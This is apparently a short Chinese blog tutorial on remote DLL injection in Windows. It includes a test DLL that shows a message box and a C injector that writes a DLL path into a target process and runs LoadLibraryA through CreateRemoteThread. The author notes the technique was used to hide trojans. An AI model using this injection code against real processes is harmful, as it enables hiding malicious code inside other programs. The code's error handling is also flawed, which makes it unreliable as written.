windows平臺實現dll遠程注入的簡單例子

最新看了下關於dll遠程注入的東西,這個技術原來是用來隱藏***很好的方式,如今貌似很難經過了,通常的殺軟都能檢測到相關的行爲,

// 一個dll的代碼,隨便加了一個messagebox函數,僅用來測試注入時候成功的,注入成功會彈出這個對話框

#include "stdafx.h"
#include <stdio.h>

BOOL APIENTRY DllMain( HANDLE hModule,
                       DWORD  ul_reason_for_call,
                       LPVOID lpReserved
                     )
{
    MessageBoxA(NULL,"hello world","dll",MB_OK);
    return TRUE;
}

// dll遠程注入的代碼,我這裏是手動輸入一個進程的pid的,其實也能夠經過快照方式來固定一個進程進行注入

#include <windows.h>


int  main ()
{
    DWORD  pid =  2324;
    LPVOID pAddress = 0;
    char *dllpath = "C:\\Documents and Settings\\All Users\\桌面\\dll\\Debug\\dll.dll";
    int dwSize = lstrlen(dllpath) + 1;
    DWORD  write = 0;
    BOOL bRet  = FALSE;
    HANDLE hThread  = 0;
    DWORD dwthread = 0;

    PTHREAD_START_ROUTINE pfnThreadRtn = (PTHREAD_START_ROUTINE) GetProcAddress(GetModuleHandle(TEXT("kernel32")),"LoadLibraryA");

    HANDLE  hPid = OpenProcess(PROCESS_ALL_ACCESS,FALSE,pid);

    if ( NULL == hPid )
    {
        CloseHandle(hPid);
    }

    pAddress = VirtualAllocEx( hPid,0,0x1000,MEM_COMMIT,PAGE_EXECUTE_READWRITE);

    if ( NULL == pAddress)
    {
        VirtualFreeEx(hPid,pAddress,0x1000,MEM_RELEASE);
        CloseHandle(hPid);
    }

     bRet  = WriteProcessMemory(hPid,pAddress,dllpath,dwSize,&write);

    if ( FALSE == bRet )
    {
        VirtualFreeEx(hPid,pAddress,0x1000,MEM_RELEASE);
        CloseHandle(hPid);
    }

    hThread = CreateRemoteThread(hPid,NULL,0,pfnThreadRtn,pAddress,0,&dwthread);

    if ( NULL == hThread)
    {
        VirtualFreeEx(hPid,pAddress,0x1000,MEM_RELEASE);
        CloseHandle(hPid);
    }

    return 0;
}